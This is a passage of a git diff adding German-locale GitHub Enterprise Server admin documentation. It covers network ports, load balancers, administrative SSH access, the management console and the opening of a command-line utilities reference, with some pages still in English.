+| 8080 | HTTP | Webbasierte {% data variables.enterprise.management_console %} im Nur-Text-Format. Nur erforderlich, wenn TLS manuell deaktiviert wird. |
+| 122 | SSH | Shellzugriff für {% data variables.location.product_location %}. Muss für eingehende Verbindungen zwischen allen Knoten in einer Hochverfügbarkeitskonfiguration geöffnet sein. Der standardmäßige SSH-Port (22) ist für den Git- und SSH-Netzwerk-Traffic der Anwendung vorgesehen. |
+| 1194/UDP | VPN | Sicherer Replikationsnetzwerktunnel in einer hochverfügbaren Konfiguration. Muss für die Kommunikation zwischen allen Knoten in der Konfiguration geöffnet sein.|
+| 123/UDP| NTP | Für Zeitprotokollvorgänge erforderlich. |
+| 161/UDP | SNMP | Für Netzwerküberwachungs-Protokollvorgänge erforderlich. |
+
+## Anwendungsports für Endbenutzer
+
+Mit Anwendungsports können Endbenutzer auf Webanwendungen und Git zugreifen.
+
+| Port | Dienst | BESCHREIBUNG |
+|---|---|---|
+| 443 | HTTPS | Zugriff auf die Webanwendung und Git über HTTPS. |
+| 80 | HTTP | Webanwendungszugriff. Alle Anforderungen werden an den HTTPS-Port umgeleitet, wenn TLS konfiguriert ist. |
+| 22 | SSH | Zugriff auf Git über SSH. Unterstützt das Klonen, Abrufen und Übertragen von Vorgängen an öffentliche/private Repositorys. |
+| 9418 | Git | Der Git-Protokollport unterstützt das Klonen und Abrufen von Vorgängen für öffentliche Repositorys mit unverschlüsselter Netzwerkkommunikation. {% data reusables.enterprise_installation.when-9418-necessary %} |
+
+{% data reusables.enterprise_installation.terminating-tls %}
+
+## E-Mail-Ports
+
+E-Mail-Ports müssen direkt oder über ein Relay für die Unterstützung eingehender E-Mails für Endbenutzer erreichbar sein.
+
+| Port | Dienst | BESCHREIBUNG |
+|---|---|---|
+| 25 | SMTP | Unterstützung für SMTP mit Verschlüsselung (STARTTLS). |
+
+## {% data variables.product.prodname_actions %}-Ports
+
+{% data variables.product.prodname_actions %}-Ports müssen für selbstgehostete Runner zugänglich sein, um eine Verbindung mit {% data variables.location.product_location %} herzustellen. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-between-self-hosted-runners-and-github-enterprise-server)“.
+
+| Port | Dienst | BESCHREIBUNG |
+|---|---|---|
+| 443 | HTTPS | Selbstgehostete Runner stellen eine Verbindung mit {% data variables.location.product_location %} her, um Auftragszuweisungen zu erhalten und neue Versionen der Runneranwendung herunterzuladen. Erforderlich, wenn TLS konfiguriert ist.
+| 80 | HTTP | Selbstgehostete Runner stellen eine Verbindung mit {% data variables.location.product_location %} her, um Auftragszuweisungen zu erhalten und neue Versionen der Runneranwendung herunterzuladen. Erforderlich, wenn TLS nicht konfiguriert ist.
+
+Wenn du den automatischen Zugriff auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen aktivierst, sucht {% data variables.product.prodname_actions %} immer zuerst nach einer Aktion für {% data variables.location.product_location %} über diese Ports, bevor {% data variables.product.prodname_dotcom_the_website %} überprüft wird. Weitere Informationen findest du unter [Aktivieren des automatischen Zugriffs auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen mithilfe von {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#about-resolution-for-actions-using-github-connect).
+
+## {% data variables.product.prodname_github_connect %}-Ports
+
+Wenn Du {% data variables.product.prodname_github_connect %} aktivierst, verwendet die Verbindung zwischen {% data variables.product.product_name %} und {% data variables.product.prodname_dotcom_the_website %} HTTPS über die Ports 443 oder 80, und TLS ist erforderlich. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect).
+
+## Weiterführende Themen
+
+- [Konfigurieren von TLS](/admin/configuration/configuring-network-settings/configuring-tls)
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
new file mode 100644
index 0000000000..955ed62c25
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
@@ -0,0 +1,102 @@
+---
+title: Using GitHub Enterprise Server with a load balancer
+intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} instance or a pair of instances in a High Availability configuration.'
+redirect_from:
+  - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer
+  - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer
+  - /enterprise/admin/configuration/using-github-enterprise-server-with-a-load-balancer
+  - /admin/configuration/using-github-enterprise-server-with-a-load-balancer
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - High availability
+  - Infrastructure
+  - Networking
+shortTitle: Use a load balancer
+---
+
+## About load balancers
+
+{% data reusables.enterprise_clustering.load_balancer_intro %}
+
+{% data reusables.enterprise_clustering.load_balancer_dns %}
+
+## Handling client connection information
+
+Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost.
+
+{% data reusables.enterprise_clustering.proxy_preference %}
+
+{% data reusables.enterprise_clustering.proxy_xff_firewall_warning %}
+
+{% data reusables.enterprise_installation.terminating-tls %}
+
+### Enabling PROXY protocol support on {% data variables.location.product_location %}
+
+We strongly recommend enabling PROXY protocol support for both your instance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt).
+
+{% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.privacy %}
+3. Under **External load balancers**, select **Enable support for PROXY protocol**.
+![Checkbox to enable support for PROXY protocol](/assets/images/enterprise/management-console/enable-proxy.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% data reusables.enterprise_clustering.proxy_protocol_ports %}
+
+### Enabling X-Forwarded-For support on {% data variables.location.product_location %}
+
+{% data reusables.enterprise_clustering.x-forwarded-for %}
+
+{% warning %}
+
+**Warning**: If you configure `X-Forwarded-For` support on {% data variables.location.product_location %} and load balancer, you may not be able to connect to the {% data variables.enterprise.management_console %}. For more information, see "[Error: "Your session has expired" for connections to the {% data variables.enterprise.management_console %}](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console)."
+
+{% endwarning %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.privacy %}
+3. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**.
+![Checkbox to allow the HTTP X-Forwarded-For header](/assets/images/enterprise/management-console/allow-xff.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
+
+## Configuring health checks
+
+Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the instance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica instance before it will begin serving requests. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+
+{% data reusables.enterprise_clustering.health_checks %}
+{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
+
+## Troubleshooting connectivity through a load balancer
+
+If you cannot connect to services on {% data variables.location.product_location %} through a load balancer, you can review the following information to troubleshoot the problem.
+
+{% note %}
+
+**Note**: Always test changes to your network infrastructure and instance configuration in a staging environment. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
+
+{% endnote %}
+
+### Error: "Your session has expired" for connections to the {% data variables.enterprise.management_console %}
+
+If you enable support for the `X-Forwarded-For` header on your instance and load balancer, you may not be able to access your instance's {% data variables.enterprise.management_console %}. For more information about the {% data variables.enterprise.management_console %} and ports required for connections, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)" and "[Network ports](/admin/configuration/configuring-network-settings/network-ports)."
+
+If {% data variables.location.product_location %} indicates that your session has expired when you connect to the {% data variables.enterprise.management_console %} through a load balancer, try one of the following configurations on your load balancer.
+
+- Disable `X-Forwarded-For` headers for connections to your instance on ports 8080 and 8443.
+- Configure your load balancer to operate on Layer 4, and use the PROXY protocol instead of `X-Forwarded-For` for passthrough of client IP addresses. For more information, see "[Enabling PROXY protocol support on {% data variables.location.product_location %}](#enabling-proxy-protocol-support-on-your-github-enterprise-server-instance)."
+
+For more information, refer to the documentation for your load balancer.
+
+### Live updates to issues and check runs not working
+
+When {% data variables.location.product_location %} is accessed via a load balancer or reverse proxy, expected live updates, such as new comments on issues and changes in notification badges or check run output, may not display until the page is refreshed. This is most common when the reverse proxy or load balancer is running in a layer 7 mode or does not support the required [websocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) protocol. 
+
+To enable live updates, you may need to reconfigure the load balancer or proxy. For more information, refer to the documentation for your load balancer.
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md
new file mode 100644
index 0000000000..50ed3a2fa2
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md
@@ -0,0 +1,24 @@
+---
+title: Validating your domain settings
+intro: 'Ensure that your domain settings are properly configured before booting up {% data variables.location.product_location %} for the first time.'
+redirect_from:
+  - /enterprise/admin/installation/validating-your-domain-settings
+  - /enterprise/admin/configuration/validating-your-domain-settings
+  - /admin/configuration/validating-your-domain-settings
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+shortTitle: Validate domain settings
+---
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.hostname-menu-item %}
+4. To test your appliance's DNS and SSL settings, click **Test domain settings**.
+  ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png)
+{% data reusables.enterprise_management_console.test-domain-settings-failure %}
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/about-enterprise-configuration.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/about-enterprise-configuration.md
new file mode 100644
index 0000000000..0a068acc68
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/about-enterprise-configuration.md
@@ -0,0 +1,41 @@
+---
+title: Informationen zur Unternehmenskonfiguration
+intro: 'Du kannst das Websiteadministrator-Dashboard{% ifversion ghes %}, {% data variables.enterprise.management_console %} und die Verwaltungsshell (SSH) verwenden {% elsif ghae %} und Unternehmenseinstellungen verwenden, oder dich an den Support wenden{% endif %}, um dein Unternehmen zu verwalten.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+  - Fundamentals
+  - SSH
+redirect_from:
+  - /admin/configuration/about-enterprise-configuration
+shortTitle: About configuration
+ms.openlocfilehash: 86012c1fc7b56367d171fd271c5f3d12125cf461
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145103040'
+---
+{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %} Weitere Informationen findest du unter [Websiteadministratordashboard](/admin/configuration/site-admin-dashboard).
+
+{% data reusables.enterprise_site_admin_settings.about-the-management-console %} Weitere Informationen findest du unter [Zugreifen auf die Verwaltungskonsole](/admin/configuration/accessing-the-management-console).
+
+{% data reusables.enterprise_site_admin_settings.about-ssh-access %} Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh).
+{% endif %}
+
+{% ifversion ghae %} Um mit {% data variables.product.product_name %} zu beginnen, musst du zuerst {% data variables.product.product_name %} bereitstellen. Weitere Informationen findest du unter [Bereitstellen von {% data variables.product.product_name %}](/admin/configuration/configuring-your-enterprise/deploying-github-ae).
+
+Wenn du zum ersten Mal auf dein Unternehmen zugreifst, führst du eine anfängliche Konfiguration aus, um {% data variables.product.product_name %} einsatzbereit zu machen. Die anfängliche Konfiguration umfasst das Herstellen der Verbindung deines Unternehmens mit einem Identitätsanbieter (IdP), Authentifizieren mit SAML SSO, Konfigurieren von Richtlinien für Repositorys und Organisationen in deinem Unternehmen und Konfigurieren von SMTP für ausgehende E-Mails. Weitere Informationen findest du unter [Initialisieren von {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae).
+
+Später kannst du über das Websiteadministrator-Dashboard und die Unternehmenseinstellungen dein Unternehmen weiter konfigurieren, Benutzer, Organisationen und Repositorys verwalten und Richtlinien festzulegen, die Risiken reduzieren und die Qualität erhöhen. 
+
+Alle Unternehmen sind mit Subdomain-Isolation und Unterstützung für TLS 1.2 und höher nur für verschlüsselten Datenverkehr konfiguriert.
+{% endif %}
+
+## Weiterführende Themen
+
+- [Verwalten von Benutzern, Organisationen und Repositorys](/admin/user-management)
+- [Festlegen von Richtlinien für dein Unternehmen](/admin/policies)
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
new file mode 100644
index 0000000000..46eaace76c
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
@@ -0,0 +1,79 @@
+---
+title: Accessing the administrative shell (SSH)
+redirect_from:
+  - /enterprise/admin/articles/ssh-access
+  - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access
+  - /enterprise/admin/guides/installation/administrative-shell-ssh-access
+  - /enterprise/admin/articles/troubleshooting-ssh-permission-denied-publickey
+  - /enterprise/admin/2.13/articles/troubleshooting-ssh-permission-denied-publickey
+  - /enterprise/admin/2.14/articles/troubleshooting-ssh-permission-denied-publickey
+  - /enterprise/admin/2.15/articles/troubleshooting-ssh-permission-denied-publickey
+  - /enterprise/admin/installation/accessing-the-administrative-shell-ssh
+  - /enterprise/admin/configuration/accessing-the-administrative-shell-ssh
+  - /admin/configuration/accessing-the-administrative-shell-ssh
+intro: '{% data reusables.enterprise_site_admin_settings.about-ssh-access %}'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - SSH
+shortTitle: Access the admin shell (SSH)
+---
+## About administrative shell access
+
+If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122.
+
+## Enabling access to the administrative shell via SSH
+
+To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)."
+
+{% tip %}
+
+**Tip:** Changes to authorized SSH keys take effect immediately.
+
+{% endtip %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+3. Under "SSH access", paste your key into the text box, then click **Add key**.
+  ![Text box and button for adding an SSH key](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Connecting to the administrative shell over SSH
+
+After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122.
+
+```shell
+$ ssh -p 122 admin@github.example.com
+Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1
+admin@github-example-com:~$ █
+```
+
+### Troubleshooting SSH connection problems
+
+If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.location.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use.
+
+To specify a private SSH key using the command line, run `ssh` with the `-i` argument.
+
+```shell
+ssh -i /path/to/ghe_private_key -p 122 admin@HOSTNAME
+```
+
+You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`).
+
+```shell
+Host HOSTNAME
+  IdentityFile /path/to/ghe_private_key
+  User admin
+  Port 122
+```
+
+## Accessing the administrative shell using the local console
+
+In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally. Sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}.
+
+## Access limitations for the administrative shell
+
+Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please contact {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract.
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
new file mode 100644
index 0000000000..fcb3b08b66
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
@@ -0,0 +1,70 @@
+---
+title: Zugreifen auf die Verwaltungskonsole
+intro: '{% data reusables.enterprise_site_admin_settings.about-the-management-console %}'
+redirect_from:
+  - /enterprise/admin/articles/about-the-management-console
+  - /enterprise/admin/articles/management-console-for-emergency-recovery
+  - /enterprise/admin/articles/web-based-management-console
+  - /enterprise/admin/categories/management-console
+  - /enterprise/admin/articles/accessing-the-management-console
+  - /enterprise/admin/guides/installation/web-based-management-console
+  - /enterprise/admin/installation/accessing-the-management-console
+  - /enterprise/admin/configuration/accessing-the-management-console
+  - /admin/configuration/accessing-the-management-console
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+shortTitle: Access the management console
+ms.openlocfilehash: 60cd45e9e33dfbd037c831b96bed806dddcf6a21
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107125'
+---
+## Informationen zur {% data variables.enterprise.management_console %}
+
+{% data variables.enterprise.management_console %} für grundlegende Verwaltungsaktivitäten verwenden:
+- **Ersteinrichtung**: Führe den Prozess der Ersteinrichtung durch, wenn du {% data variables.location.product_location %} zum ersten Mal startest, indem du die IP-Adresse von {% data variables.location.product_location %} in deinem Browser öffnest.
+- **Konfigurieren von Authentifizierungsrichtlinien für die {% data variables.enterprise.management_console %}** : Lege Ratenbegrenzungen für Anmeldeversuche und die Sperrdauer fest, wenn jemand die Ratenbegrenzung überschreitet. 
+- **Konfigurieren der grundlegenden Einstellungen für deine Instanz**: Konfiguriere DNS, Hostnamen, SSL, Benutzerauthentifizierung, E-Mail, Überwachungsdienste und Protokollweiterleitung auf der Seite mit den Einstellungen.
+- **Planen von Wartungsfenstern**: Schalte {% data variables.location.product_location %} offline, während du Wartungsarbeiten über die {% data variables.enterprise.management_console %} oder die Verwaltungsshell ausführst.
+- **Problembehandlung**: Generiere ein Supportpaket oder zeige allgemeine Diagnoseinformationen an.
+- **Lizenzverwaltung**: Zeige deine Lizenz für {% data variables.product.prodname_enterprise %} oder aktualisiere sie.
+
+Du kannst über die IP-Adresse von {% data variables.location.product_location %} jederzeit auf die {% data variables.enterprise.management_console %} zugreifen, selbst wenn sich die Instanz im Wartungsmodus befindet oder wenn ein kritischer Anwendungsfehler oder eine fehlerhafte Hostnamen- oder SSL-Konfiguration vorliegt.
+
+Um auf die {% data variables.enterprise.management_console %} zuzugreifen, musst du das während der Ersteinrichtung von {% data variables.location.product_location %} festgelegte Administratorkennwort verwenden. Zudem musst du auf Port 8443 eine Verbindung zum Host der virtuellen Maschine herstellen können. Wenn du Probleme hast, auf {% data variables.enterprise.management_console %} zuzugreifen, solltest du die Konfigurationen für die Zwischenfirewall und für die Sicherheitsgruppe überprüfen. 
+
+Der Kennworthash für die {% data variables.enterprise.management_console %} wird in `/data/user/common/secrets.conf` gespeichert, und diese Datei wird automatisch von der primären Appliance in Hochverfügbarkeitsreplikaten synchronisiert. Alle Änderungen am Kennwort der primären Appliance werden automatisch in den Hochverfügbarkeitsreplikaten repliziert. Weitere Informationen zur Hochverfügbarkeit findest du unter [Informationen zur Hochverfügbarkeitskonfiguration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration).
+
+## Auf die {% data variables.enterprise.management_console %} als ein Websiteadministrator zugreifen
+
+Wenn du zum ersten Mal als Websiteadministrator auf die {% data variables.enterprise.management_console %} zugreifst, musst du deine Lizenzdatei für {% data variables.product.prodname_enterprise %} hochladen, um dich bei der App zu authentifizieren. Weitere Informationen findest du unter [Verwalten deiner Lizenz für {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise).
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %}
+
+## Auf die {% data variables.enterprise.management_console %} als ein nicht authentifizierter Benutzer zugreifen
+
+1. Öffne diese URL in deinem Browser und ersetze `hostname` durch deinen tatsächlichen Hostnamen oder deine tatsächliche IP-Adresse für {% data variables.product.prodname_ghe_server %}.
+  ```shell
+  http(s)://HOSTNAME/setup
+  ```
+{% data reusables.enterprise_management_console.type-management-console-password %}
+
+## {% data variables.enterprise.management_console %} nach fehlerhaften Anmeldeversuchen entsperren
+
+Die {% data variables.enterprise.management_console %} wird nach {% ifversion enterprise-authentication-rate-limits %}der Anzahl der fehlgeschlagenen Anmeldeversuche gesperrt, die du in deinen Authentifizierungsrichtlinien festgelegt hast. Weitere Informationen findest du unter [Konfigurieren von Ratenbegrenzungen für Authentifizierungsrichtlinien](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-authentication-policy-rate-limits).{% else %}zehn fehlgeschlagenen Anmeldeversuchen in einem Zeitraum von zehn Minuten gesperrt. Du musst auf die automatische Entsperrung des Anmeldebildschirms warten, bevor du versuchen kannst, dich erneut anzumelden. Der Anmeldebildschirm wird automatisch entsperrt, wenn im Zeitraum der letzten zehn Minuten weniger als zehn fehlerhafte Anmeldeversuche vorlagen. Nach einer erfolgreichen Anmeldung wird der Zähler zurückgesetzt.{% endif %}
+
+{% data reusables.enterprise_management_console.unlocking-management-console-with-shell %}
+
+## Problembehandlung bei fehlgeschlagenen Verbindungen mit der {% data variables.enterprise.management_console %}
+
+Wenn eine Verbindung mit der {% data variables.enterprise.management_console %} auf {% data variables.location.product_location %} nicht möglich ist, kannst du zur Problembehandlung die folgenden Informationen überprüfen.
+
+### Fehler: „Ihre Sitzung ist abgelaufen“ bei Verbindungen über einen Lastenausgleich
+
+Wenn du über einen Lastenausgleich auf {% data variables.location.product_location %} zugreifst und Verbindungen mit der {% data variables.enterprise.management_console %} mit der Meldung fehlschlagen, dass deine Sitzung abgelaufen sei, musst du deinen Lastenausgleich möglicherweise neu konfigurieren. Weitere Informationen findest du unter [Verwenden von {% data variables.product.product_name %} mit einem Lastenausgleich](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console).
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
new file mode 100644
index 0000000000..7c9921bd9a
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
@@ -0,0 +1,984 @@
+---
+title: Command-line utilities
+intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.'
+redirect_from:
+  - /enterprise/admin/articles/viewing-all-services
+  - /enterprise/admin/articles/command-line-utilities
+  - /enterprise/admin/installation/command-line-utilities
+  - /enterprise/admin/configuration/command-line-utilities
+  - /admin/configuration/command-line-utilities
+miniTocMaxHeadingLevel: 3
+versions:
+  ghes: '*'
+type: reference
+topics:
+  - Enterprise
+  - SSH
+---
+You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)."
+
+## General
+
+### ghe-announce
+
+This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users.
+
+```shell
+# Sets a message that's visible to everyone
+$ ghe-announce -s MESSAGE
+> Announcement message set.
+# Removes a previously set message
+$ ghe-announce -u
+> Removed the announcement message
+```
+
+{% ifversion ghe-announce-dismiss %}
+To allow each user to dismiss the announcement for themselves, use the `-d` flag.
+```shell
+# Sets a user-dismissible message that's visible to everyone
+$ ghe-announce -d -s MESSAGE
+> Announcement message set.
+# Removes a previously set message
+$ ghe-announce -u
+> Removed the announcement message, which was user dismissible: MESSAGE
+```
+{% endif %}
+
+{% ifversion ghes %}
+You can also set an announcement banner using the enterprise settings on {% data variables.product.product_name %}. For more information, see "[Customizing user messages on your instance](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)."
+{% endif %}
+
+{% ifversion ghes %}
+<!--For earlier releases of GHES, see the previous service `ghe-resque-info`-->
+
+### ghe-aqueduct
+
+This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page.
+
+This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct:
+
+* The number of background jobs is increasing, while the active jobs remain the same.
+* The event feeds are not updating.
+* Webhooks are not being triggered.
+* The web interface is not updating after a Git push.
+
+If you suspect Aqueduct is failing, contact {% data variables.contact.contact_ent_support %} for help.
+
+With this command, you can also pause or resume jobs in the queue.
+
+```shell
+$ ghe-aqueduct status
+# lists queues and the number of currently queued jobs for all queues
+$ ghe-aqueduct queue_depth --queue QUEUE
+# lists the number of currently queued jobs for the specified queue
+$ ghe-aqueduct pause --queue QUEUE
+# pauses the specified queue
+$ ghe-aqueduct resume --queue QUEUE
+# resumes the specified queue
+```
+{% endif %}
+
+### ghe-check-disk-usage
+
+This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition.
+
+```shell
+ghe-check-disk-usage
+```
+
+### ghe-cleanup-caches
+
+This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage.
+
+```shell
+ghe-cleanup-caches
+```
+### ghe-cleanup-settings
+
+This utility wipes all existing {% data variables.enterprise.management_console %} settings.
+
+{% tip %}
+
+**Tip**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
+
+{% endtip %}
+
+```shell
+ghe-cleanup-settings
+```
+
+### ghe-config
+
+With this utility, you can both retrieve and modify the configuration settings of {% data variables.location.product_location %}.
+
+```shell
+$ ghe-config core.github-hostname
+# Gets the configuration value of `core.github-hostname`
+$ ghe-config core.github-hostname URL
+# Sets the configuration value of `core.github-hostname` to the specified URL
+$ ghe-config -l
+# Lists all the configuration values
+```
+Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`.
+
+```shell
+  $ ghe-config HOSTNAME.uuid
+```
+
+{% ifversion ghes %}
+Allows you to exempt a list of users from REST API rate limits. A hard limit of 120,000 requests will still apply to these users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)."
+
+``` shell
+$ ghe-config app.github.rate-limiting-exempt-users "HUBOT GITHUB-ACTIONS"
+# Exempts the users hubot and github-actions from rate limits
+```
+{% endif %}
+
+### ghe-config-apply
+
+This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to [the `/setup/api/configure` endpoint](/enterprise/user/rest/reference/enterprise-admin#management-console).
+
+You will probably never need to run this manually, but it's available if you want to automate the process of saving your settings via SSH.
+
+```shell
+ghe-config-apply
+```
+
+### ghe-console
+
+This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %}
+
+```shell
+ghe-console
+```
+
+### ghe-dbconsole
+
+This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %}
+
+```shell
+ghe-dbconsole
+```
+
+### ghe-es-index-status
+This utility returns a summary of Elasticsearch indexes in CSV format.
+
+Print an index summary with a header row to `STDOUT`:
+```shell
+$ ghe-es-index-status -do
+> warning: parser/current is loading parser/ruby23, which recognizes
+> warning: 2.3.3-compliant syntax, but you are running 2.3.4.
+> warning: please see https://github.com/whitequark/parser#compatibility-with-ruby-mri.
+> Name,Primary,Searchable,Writable,UpToDate,RepairProgress,Version
+> code-search-1,true,true,true,true,100.0,72e27df7c631b45e026b42bfef059328fa040e17
+> commits-5,true,true,true,true,100.0,7ed28813100c47813ef654c0ee2bb9abf21ab744
+> gists-4,true,true,true,true,100.0,cf8e7d04fcf2564c902e2873c424a279cc41079d
+> issues-4,false,false,false,true,100.0,d0bb08f71eebf6e7b070572aa399b185dbdc8a76
+> issues-5,true,true,true,true,100.0,d0bb08f71eebf6e7b070572aa399b185dbdc8a76
+> projects-2,true,true,true,true,100.0,c5cac1c4b3c66d42e609d088d174dbc3dd44469a
